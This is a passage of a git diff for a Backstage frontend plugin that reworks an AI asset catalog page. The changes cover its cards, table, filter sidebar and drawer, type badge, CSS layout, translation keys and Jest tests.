ExtensionDataRef | ExtensionDataRef< RouteRef, @@ -372,7 +292,6 @@ const boostPlugin: OverridableFrontendPlugin< optional: true; } > - | ExtensionDataRef | ExtensionDataRef< string, 'core.title', @@ -451,46 +370,64 @@ export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.table.description': string; readonly 'catalog.filter.type': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.title': string; + readonly 'catalog.filter.tag': string; readonly 'catalog.filter.owner': string; readonly 'catalog.filter.provider': string; - readonly 'catalog.filter.tag': string; - readonly 'catalog.page.title': string; - readonly 'catalog.page.subtitle': string; + readonly 'catalog.filter.clearAll': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; - readonly 'catalog.tab.usageTitle': string; - readonly 'catalog.tab.usageDocumentation': string; - readonly 'catalog.tab.usageViewTechDocs': string; - readonly 'catalog.tab.usageExternalLinks': string; - readonly 'catalog.tab.usageNoDocumentation': string; - readonly 'catalog.tab.usagePermissionDenied': string; - readonly 'catalog.tab.usageContactOwner': string; + readonly 'catalog.page.title': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.description': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; + readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; readonly 'catalog.toolbar.viewGrid': string; readonly 'catalog.toolbar.viewTable': string; - readonly 'catalog.card.summaryTitle': string; - readonly 'catalog.card.adoptionTitle': string; - readonly 'catalog.card.versionTitle': string; - readonly 'catalog.card.versionCurrent': string; - readonly 'catalog.card.copyCommand': string; + readonly 'catalog.card.yes': string; + readonly 'catalog.card.no': string; readonly 'catalog.card.copied': string; - readonly 'catalog.card.copyAriaLabel': string; - readonly 'catalog.card.adoptionDownloadZip': string; + readonly 'catalog.card.assetDetailsTitle': string; + readonly 'catalog.card.usageTitle': string; + readonly 'catalog.card.versionLabel': string; + readonly 'catalog.card.copyCommand': string; + readonly 'catalog.card.copyFailed': string; + readonly 'catalog.card.usageDownloadZip': string; + readonly 'catalog.card.usageViewSource': string; + readonly 'catalog.card.serverTypeLabel': string; + readonly 'catalog.card.apiKeyLabel': string; + readonly 'catalog.card.defaultModelLabel': string; + readonly 'catalog.card.rationaleLabel': string; + readonly 'catalog.card.disciplinesLabel': string; + readonly 'catalog.card.categoriesLabel': string; + readonly 'catalog.card.relatedAgentsLabel': string; + readonly 'catalog.card.ruleCategoryLabel': string; + readonly 'catalog.card.toolsLabel': string; + readonly 'catalog.card.remotesLabel': string; + readonly 'catalog.card.definitionLabel': string; + readonly 'catalog.card.viewDefinition': string; + readonly 'catalog.card.modelsTitle': string; + readonly 'catalog.card.modelsAvailableSuffix': string; readonly 'catalog.card.modelsAvailableTitle': string; + readonly 'catalog.card.modelTitle': string; + readonly 'catalog.card.viewModels': string; + readonly 'catalog.card.modelsDialogTitle': string; + readonly 'catalog.card.modelSearch': string; + readonly 'catalog.card.noModelsMatch': string; readonly 'catalog.card.instructionsTitle': string; readonly 'catalog.card.handoffDescriptionTitle': string; + readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.module.css b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.module.css index 03878381013..4274a5e919c 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.module.css +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.module.css @@ -18,17 +18,13 @@ .card { height: 100%; min-height: 220px; + border: 1px solid var(--bui-border-1); } .body { flex: 1; } - .typeBadge { - background-color: transparent; - border: 1px solid currentColor; - } - .title { margin-top: var(--bui-space-2); } @@ -59,7 +55,12 @@ flex-shrink: 0; } - .scope { - margin-left: var(--bui-space-2); + .owner { + min-width: 0; + } + + .provider { + margin-left: auto; + flex-shrink: 0; } } diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.test.tsx index ecb20a0ff97..a050f2bd14c 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.test.tsx @@ -72,6 +72,9 @@ describe('AiAssetCard', () => { , ); expect(rendered.getByText('Skills')).toBeInTheDocument(); + expect( + rendered.queryByRole('button', { name: /filter by skills/i }), + ).toBeNull(); }); it('renders tags', async () => { @@ -86,14 +89,34 @@ describe('AiAssetCard', () => { const rendered = await renderInTestApp( , ); - expect(rendered.getByText('team-ai-platform')).toBeInTheDocument(); + expect( + rendered.getByRole('link', { name: 'team-ai-platform' }), + ).toHaveAttribute('href', '/catalog/default/group/team-ai-platform'); + expect( + rendered.getByRole('link', { name: 'team-ai-platform' }), + ).toHaveAttribute('data-color', 'info'); + expect( + rendered.getByRole('link', { name: 'team-ai-platform' }), + ).toHaveAttribute('data-weight', 'bold'); }); - it('renders scope from annotation', async () => { + it('does not render an unknown owner', async () => { + const entity = { + ...mockAgentEntity, + spec: { ...mockAgentEntity.spec, owner: 'unknown' }, + } as Entity; + const rendered = await renderInTestApp(); + + expect(rendered.queryByText('unknown')).not.toBeInTheDocument(); + }); + + it('renders provider from annotation', async () => { const rendered = await renderInTestApp( , ); - expect(rendered.getByText('github')).toBeInTheDocument(); + expect( + rendered.getByText('github').closest('[data-size="small"]'), + ).toBeInTheDocument(); }); it('links to catalog entity detail page', async () => { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx index 52fbc935f5a..707b9c3b047 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx @@ -16,34 +16,39 @@ import type { Entity } from '@backstage/catalog-model'; import { - Button, Card, CardBody, CardFooter, CardHeader, + Link, Tag, TagGroup, Text, } from '@backstage/ui'; import { RiUserLine } from '@remixicon/react'; -import { getCategoryMeta } from '../../utils/categoryMeta'; -import { entityHref, getSpecField } from '../../utils/entityHelpers'; +import { + entityHref, + entityRefHref, + getProvider, + getSpecField, +} from '../../utils/entityHelpers'; +import { AssetTypeBadge } from './AssetTypeBadge'; import styles from './AiAssetCard.module.css'; export interface AiAssetCardProps { entity: Entity; - onCategoryClick?: (category: string) => void; } -export const AiAssetCard = ({ entity, onCategoryClick }: AiAssetCardProps) => { - const specType = getSpecField(entity, 'type'); - const owner = getSpecField(entity, 'owner'); - const categoryMeta = getCategoryMeta(specType); +export const AiAssetCard = ({ entity }: AiAssetCardProps) => { + const owner = getSpecField(entity, 'owner')?.trim(); + const displayOwner = + owner && owner.toLowerCase() !== 'unknown' ? owner : undefined; const tags = entity.metadata.tags ?? []; const title = entity.metadata.title ?? entity.metadata.name; const description = entity.metadata.description ?? ''; - const scope = entity.metadata.annotations?.['rhdh.io/ai-asset-source'] ?? ''; + const provider = getProvider(entity) ?? ''; + const ownerHref = displayOwner ? entityRefHref(displayOwner) : undefined; return ( { className={styles.card} > - + @@ -94,24 +86,36 @@ export const AiAssetCard = ({ entity, onCategoryClick }: AiAssetCardProps) => {
- {owner && ( + {displayOwner && ( <> - - {owner} - + {ownerHref ? ( + + {displayOwner} + + ) : ( + + {displayOwner} + + )} )} - {scope && ( - - {scope} - + {provider && ( + + + {provider} + + )}
diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.module.css b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.module.css index 507c601aa67..a6375e612ab 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.module.css +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.module.css @@ -15,30 +15,132 @@ */ @layer components { + .page { + --boost-shell-chrome-height: 96px; + height: calc(100dvh - var(--boost-shell-chrome-height)); + min-height: 0; + padding: var(--bui-space-6); + border-radius: var(--bui-radius-4); + background: var(--bui-bg-neutral-1); + display: flex; + flex-direction: column; + } + .layout { - min-height: calc(100vh - var(--boost-shell-header-height, 120px)); + display: grid; + grid-template-columns: minmax(200px, 240px) minmax(0, 1fr); + gap: var(--bui-space-6); + align-items: start; + flex: 1; + min-width: 0; + min-height: 0; } .emptyState { - min-height: calc(100vh - var(--boost-shell-chrome-height, 200px)); + min-height: 420px; + } + + .errorState { + min-height: 240px; } .content { + display: flex; + flex-direction: column; + height: 100%; + width: 100%; + min-width: 0; + min-height: 0; + overflow: hidden; + } + + .resultsSurface { + display: flex; + flex: 1; + flex-direction: column; + min-width: 0; + width: 100%; + min-height: 0; + overflow: hidden; + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-4); + } + + .toolbar { + min-height: 72px; + padding: var(--bui-space-4); + border-bottom: 1px solid var(--bui-border-1); + } + + .resultCount { + flex-shrink: 0; + } + + .toolbarActions { + flex-wrap: wrap; + justify-content: flex-end; + } + + .viewToggle { + flex-shrink: 0; + } + + .search { + width: min(280px, 100%); + } + + .search :global(.bui-SearchFieldInputWrapper) { + border: 1px solid var(--bui-border-2); + border-radius: var(--bui-radius-2); + background: var(--bui-bg-neutral-1); + } + + .search :global(.bui-SearchFieldInputWrapper:has([data-focused])) { + border-color: var(--bui-bg-solid); + } + + .mobileFilterTrigger { + display: none; + } + + .resultsBody { + flex: 1; min-width: 0; + min-height: 0; + overflow: auto; + padding: var(--bui-space-4); + } + + .pagination { + flex-shrink: 0; + padding: var(--bui-space-3) var(--bui-space-4); + border-top: 1px solid var(--bui-border-1); } .loadingSidebar { display: flex; flex-direction: column; gap: var(--bui-space-1); - width: 180px; + width: 100%; flex-shrink: 0; } + .loadingToolbar { + display: flex; + align-items: center; + justify-content: space-between; + min-height: 72px; + padding: var(--bui-space-4); + border-bottom: 1px solid var(--bui-border-1); + } + .loadingGrid { display: grid; grid-template-columns: repeat(4, 1fr); gap: var(--bui-space-4); + flex: 1; + min-height: 0; + overflow: auto; } .skeletonCard { @@ -46,19 +148,97 @@ flex-direction: column; gap: var(--bui-space-2); padding: var(--bui-space-4); - border: 1px solid var(--bui-border); + border: 1px solid var(--bui-border-1); border-radius: var(--bui-radius-2); } - @media (max-width: 768px) { + .skeletonFilterInput { + margin-top: var(--bui-space-1); + } + + .skeletonGrid { + padding: var(--bui-space-4); + } + + @media (max-width: 1023px) { + .page { + height: calc(100dvh - var(--boost-shell-chrome-height)); + padding: var(--bui-space-4) var(--bui-space-6); + padding-bottom: var(--bui-space-4); + } + + .layout { + display: flex; + flex-direction: column; + } + + .desktopFilters { + display: none; + } + + .mobileFilterTrigger { + display: flex; + margin-bottom: var(--bui-space-4); + } + + .content { + flex: 1; + height: auto; + } + + .toolbar { + align-items: center; + flex-direction: row; + flex-wrap: nowrap; + } + + .toolbarActions { + flex-wrap: nowrap; + justify-content: flex-end; + min-width: 0; + } + + .search { + flex: 1 1 auto; + width: min(240px, 100%); + min-width: 0; + } + + .loadingSidebar { + display: none; + } + .loadingGrid { grid-template-columns: 1fr; } } - @media (min-width: 769px) and (max-width: 1024px) { + @media (max-width: 639px) { + .page { + --boost-shell-chrome-height: 153px; + } + } + + @media (min-width: 640px) and (max-width: 1023px) { .loadingGrid { grid-template-columns: repeat(2, 1fr); } } + + @media (max-width: 479px) { + .toolbar { + align-items: flex-start; + flex-wrap: wrap; + } + + .toolbarActions { + width: 100%; + } + } + + @media (min-width: 1024px) { + .loadingSidebar { + width: 240px; + } + } } diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx index 7af1d3bf14a..3400f942129 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.test.tsx @@ -154,6 +154,16 @@ describe('AiCatalogPage', () => { expect(screen.queryByText('Code Review Skill')).toBeNull(); }); + it('repairs an out-of-range page and renders the first page', async () => { + mockCatalogApi.getEntities.mockResolvedValue({ items: mockEntities }); + await renderPage(['/?page=99']); + + await waitFor(() => { + expect(screen.getByText('Code Review Skill')).toBeInTheDocument(); + }); + expect(screen.getByText('Developer Assistant')).toBeInTheDocument(); + }); + it('renders table view when view=table is in the URL', async () => { mockCatalogApi.getEntities.mockResolvedValue({ items: mockEntities }); await renderPage(['/?view=table']); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.tsx index 9304910d1ec..cbd0eaaa4e9 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogPage.tsx @@ -14,8 +14,9 @@ * limitations under the License. */ -import { useMemo, useState } from 'react'; +import { useEffect, useMemo, useState, type ReactNode } from 'react'; import { + Button, Flex, Grid, SearchField, @@ -36,21 +37,25 @@ import { AiAssetCard } from './AiAssetCard'; import { AiCatalogTable } from './AiCatalogTable'; import { EmptyFilteredState } from './EmptyFilteredState'; import { EmptyState } from './EmptyState'; -import { ErrorState } from './ErrorState'; -import { LoadingState } from './LoadingState'; import { ErrorBoundary } from './ErrorBoundary'; +import { ErrorState } from './ErrorState'; +import { FilterDrawer } from './FilterDrawer'; import { FilterSidebar } from './FilterSidebar'; +import { LoadingState } from './LoadingState'; import styles from './AiCatalogPage.module.css'; interface AiCatalogPageProps { filters: FilterDefinition[]; } +const CatalogPageSurface = ({ children }: { children: ReactNode }) => { + return
{children}
; +}; + const AiCatalogPageContent = ({ filters }: AiCatalogPageProps) => { const { t } = useTranslation(); const filterParams = useMemo(() => filters.map(f => f.urlParam), [filters]); - const hasCategoryFilter = filters.some(f => f.urlParam === 'type'); const urlState = useUrlFilters(filterParams); const { search, @@ -105,103 +110,162 @@ const AiCatalogPageContent = ({ filters }: AiCatalogPageProps) => { const hasPreviousPage = page > 0; const viewModeKeys = useMemo(() => new Set([viewMode]), [viewMode]); - if (loading) return ; - if (error) return ; + useEffect(() => { + if (!loading && !error && page > 0 && pageStart >= totalCount) { + setPage(0, { replace: true }); + } + }, [error, loading, page, pageStart, setPage, totalCount]); + + if (loading) { + return ( + + + + ); + } + if (error) { + return ( + + + + ); + } - const hasActiveFilters = search || filterValues.size > 0; + const hasActiveFilters = Boolean(search) || filterValues.size > 0; if (allEntities.length === 0 && !hasActiveFilters) { - return ; + return ( + + + + ); } return ( - - - - - - {`${t('catalog.toolbar.allPrefix')} (${totalCount})`} - - - +
+
+ +
+
+
+ - { - const selected = [...keys][0] as string | undefined; - if (selected === 'grid' || selected === 'table') { - setViewMode(selected); - } - }} - disallowEmptySelection +
+
+ - } - /> - } - /> - - - - - {totalCount === 0 && hasActiveFilters && ( - - )} - - {totalCount > 0 && viewMode === 'grid' && ( - - {pagedEntities.map(entity => ( - - setFilter('type', [cat]) - : undefined - } + + {`${t('catalog.toolbar.allPrefix')} (${totalCount})`} + + + {hasActiveFilters && ( + + )} + - - ))} - - )} - - {totalCount > 0 && viewMode === 'table' && ( - - )} - - {totalCount > 0 && ( - - setPage(page + 1)} - onPreviousPage={() => setPage(page - 1)} - onPageSizeChange={setPageSize} - /> - - )} - - + { + const selected = [...keys][0] as string | undefined; + if (selected === 'grid' || selected === 'table') { + setViewMode(selected); + } + }} + disallowEmptySelection + > + } + /> + } + /> + + + + +
+ {totalCount === 0 && hasActiveFilters && ( + + )} + + {totalCount > 0 && viewMode === 'grid' && ( + + {pagedEntities.map(entity => ( + + + + ))} + + )} + + {totalCount > 0 && viewMode === 'table' && ( + + )} +
+ + {totalCount > 0 && ( + + setPage(page + 1)} + onPreviousPage={() => setPage(page - 1)} + onPageSizeChange={setPageSize} + /> + + )} +
+
+
+ ); }; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.module.css b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.module.css similarity index 73% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.module.css rename to workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.module.css index 583e38966e5..4db93282df3 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.module.css +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.module.css @@ -15,13 +15,16 @@ */ @layer components { - .command { - flex: 1; - padding: var(--bui-space-2) var(--bui-space-3); - background-color: var(--bui-bg-surface-0); - border-radius: var(--bui-radius-2); - font-size: var(--bui-font-size-1); - font-family: monospace; + .tableViewport { + width: 100%; + min-width: 0; overflow-x: auto; } + + @media (max-width: 639px) { + .table { + min-width: 720px; + width: 720px; + } + } } diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.test.tsx index ac7baa6fb62..38772e44c36 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.test.tsx @@ -57,5 +57,15 @@ describe('AiCatalogTable', () => { expect(screen.getByText('team-ai')).toBeInTheDocument(); expect(screen.getByText('github')).toBeInTheDocument(); expect(screen.getByText('Automated code review.')).toBeInTheDocument(); + + expect( + screen.getAllByRole('columnheader').map(header => header.textContent), + ).toEqual([ + msg.table.name, + msg.table.type, + msg.table.provider, + msg.table.owner, + msg.table.description, + ]); }); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx index 15ed2ecb4e5..1180a1bfc3d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiCatalogTable.tsx @@ -17,6 +17,7 @@ import { useMemo } from 'react'; import type { Entity } from '@backstage/catalog-model'; import { + Cell, type ColumnConfig, type SortState, type TableItem, @@ -26,11 +27,18 @@ import { import { useTranslation } from '../../hooks/useTranslation'; import { getCategoryMeta } from '../../utils/categoryMeta'; -import { entityHref, getSpecField } from '../../utils/entityHelpers'; +import { + entityHref, + getProvider, + getSpecField, +} from '../../utils/entityHelpers'; +import { AssetTypeBadge } from './AssetTypeBadge'; +import styles from './AiCatalogTable.module.css'; interface AiAssetRow extends TableItem { title: string; categoryLabel: string; + entity: Entity; owner: string; provider: string; description: string; @@ -42,8 +50,9 @@ function toRows(entities: Entity[]): AiAssetRow[] { id: entity.metadata.uid ?? entity.metadata.name, title: entity.metadata.title ?? entity.metadata.name, categoryLabel: getCategoryMeta(getSpecField(entity, 'type')).label, + entity, owner: getSpecField(entity, 'owner') ?? '', - provider: entity.metadata.annotations?.['rhdh.io/ai-asset-source'] ?? '', + provider: getProvider(entity) ?? '', description: entity.metadata.description ?? '', href: entityHref(entity), })); @@ -70,13 +79,11 @@ export const AiCatalogTable = ({ entities, sort }: AiCatalogTableProps) => { { id: 'categoryLabel', label: t('catalog.table.type'), - cell: item => , - isSortable: true, - }, - { - id: 'owner', - label: t('catalog.table.owner'), - cell: item => , + cell: item => ( + + + + ), isSortable: true, }, { @@ -85,6 +92,12 @@ export const AiCatalogTable = ({ entities, sort }: AiCatalogTableProps) => { cell: item => , isSortable: true, }, + { + id: 'owner', + label: t('catalog.table.owner'), + cell: item => , + isSortable: true, + }, { id: 'description', label: t('catalog.table.description'), @@ -95,12 +108,14 @@ export const AiCatalogTable = ({ entities, sort }: AiCatalogTableProps) => { ); return ( - item.href }} - /> +
+
+ ); }; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.module.css b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.module.css new file mode 100644 index 00000000000..43c51371ce4 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.module.css @@ -0,0 +1,22 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@layer components { + .badge { + border: 1px solid currentColor; + background: transparent; + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx new file mode 100644 index 00000000000..a17a1a4eb25 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx @@ -0,0 +1,40 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { Badge } from '@backstage/ui'; + +import { getCategoryMeta } from '../../utils/categoryMeta'; +import { getSpecField } from '../../utils/entityHelpers'; +import styles from './AssetTypeBadge.module.css'; + +export const AssetTypeBadge = ({ entity }: { entity: Entity }) => { + const specType = getSpecField(entity, 'type'); + const categoryMeta = getCategoryMeta(specType); + const Icon = categoryMeta.icon; + + return ( + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/ErrorState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/ErrorState.tsx index 1a3cba3b086..88782117601 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/ErrorState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/ErrorState.tsx @@ -22,7 +22,7 @@ import styles from './AiCatalogPage.module.css'; export const ErrorState = ({ onRetry }: { onRetry: () => void }) => { const { t } = useTranslation(); return ( - + ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})); + +const filter: FilterDefinition = { + urlParam: 'type', + label: 'Type', + getOptions: () => [{ id: 'skill', label: 'Skills' }], + matchEntity: () => true, + priority: 100, +}; + +describe('FilterDrawer', () => { + it('opens a drawer with the registered filters', () => { + render( + , + ); + + fireEvent.click( + screen.getByRole('button', { name: 'catalog.toolbar.filters' }), + ); + + expect(screen.getByRole('dialog')).toBeInTheDocument(); + expect(screen.getByText('Type')).toBeInTheDocument(); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx b/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx new file mode 100644 index 00000000000..4c0d0cdd1ce --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx @@ -0,0 +1,71 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { + Button, + Dialog, + DialogBody, + DialogHeader, + DialogTrigger, +} from '@backstage/ui'; +import { RiFilter3Line } from '@remixicon/react'; + +import type { FilterDefinition } from '../../blueprints/AiCatalogFilterBlueprint'; +import { useTranslation } from '../../hooks/useTranslation'; +import { FilterSidebar } from './FilterSidebar'; +import styles from './FilterDrawer.module.css'; + +interface FilterDrawerProps { + filters: FilterDefinition[]; + entities: Entity[]; + values: Map; + onFilterChange: (urlParam: string, values: string[]) => void; +} + +export const FilterDrawer = ({ + filters, + entities, + values, + onFilterChange, +}: FilterDrawerProps) => { + const { t } = useTranslation(); + + if (filters.length === 0) return null; + + return ( + + + + {t('catalog.filter.title')} + + + + + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css index 63629369dff..d78084be576 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css +++ b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.module.css @@ -18,11 +18,24 @@ .sidebar { display: flex; flex-direction: column; - gap: var(--bui-space-1); - width: 180px; + gap: var(--bui-space-6); + width: 100%; flex-shrink: 0; position: sticky; top: var(--bui-space-4); align-self: flex-start; } + + .filter { + width: 100%; + } + + .filter :global(.bui-SelectTrigger) { + width: 100%; + min-height: 40px; + padding: 0 var(--bui-space-3); + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-2); + background: transparent; + } } diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx index 10e1b61f9fc..75f71d42c92 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx @@ -53,6 +53,42 @@ describe('FilterSidebar', () => { expect(screen.getByText('Owner')).toBeInTheDocument(); }); + it('shows All when a filter has no selected values', () => { + render( + , + ); + + expect(screen.getAllByText('catalog.filter.all').length).toBeGreaterThan(0); + }); + + it('keeps an option with the internal All value', () => { + const filter = { + ...mockFilter('type', 'Type'), + getOptions: () => [ + { id: '__all__', label: 'Reserved value' }, + { id: 'skill', label: 'Skills' }, + ], + }; + + render( + , + ); + + expect( + screen.getByRole('button', { name: 'Reserved value Type' }), + ).toBeInTheDocument(); + }); + it('returns null when filters array is empty', () => { const { container } = render( { expect(screen.getByRole('navigation')).toHaveAttribute( 'aria-label', - 'catalog.page.title', + 'catalog.filter.title', ); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.tsx b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.tsx index 6af89d758db..ef05ad67538 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.tsx @@ -23,6 +23,22 @@ import { useTranslation } from '../../hooks/useTranslation'; import styles from './FilterSidebar.module.css'; type TranslationKey = Parameters['t']>[0]; +const ALL_FILTER_VALUE = '__all__'; + +function getAllFilterValue( + options: { id: string }[], + selected: string[], +): string { + const usedValues = new Set([ + ...options.map(option => option.id), + ...selected, + ]); + let value = ALL_FILTER_VALUE; + while (usedValues.has(value)) { + value += '_'; + } + return value; +} interface FilterSidebarProps { filters: FilterDefinition[]; @@ -50,14 +66,30 @@ function FilterSelect({ () => filter.getOptions(entities), [filter, entities], ); + const allFilterValue = getAllFilterValue(options, selected); + const optionsWithAll = useMemo( + () => [{ id: allFilterValue, label: t('catalog.filter.all') }, ...options], + [allFilterValue, options, t], + ); + const selectedWithAll = selected.length > 0 ? selected : [allFilterValue]; return (
{t('catalog.card.noModelsMatch')} + } + /> + + + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx new file mode 100644 index 00000000000..694e69c93d5 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx @@ -0,0 +1,101 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { + type CatalogApi, + catalogApiRef, +} from '@backstage/plugin-catalog-react'; +import { renderInTestApp, TestApiProvider } from '@backstage/test-utils'; +import { screen, waitFor } from '@testing-library/react'; +import type { ReactNode } from 'react'; + +jest.mock('@backstage/plugin-catalog-react', () => { + const actual = jest.requireActual('@backstage/plugin-catalog-react'); + + return { + ...actual, + EntityRefLink: ({ + entityRef, + children, + }: { + entityRef: Entity | string; + children?: ReactNode; + }) => ( + + {children ?? + (typeof entityRef === 'string' + ? entityRef + : (entityRef.metadata.title ?? entityRef.metadata.name))} + + ), + }; +}); + +import { HandoffTargets } from './HandoffTargets'; + +const target: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { + name: 'ogx-agent-legal', + namespace: 'default', + title: 'Legal', + }, + spec: { type: 'agent', lifecycle: 'production', owner: 'team-legal' }, +}; + +const mockCatalogApi: Pick, 'getEntitiesByRefs'> = { + getEntitiesByRefs: jest.fn(), +}; + +function renderTargets(refs: 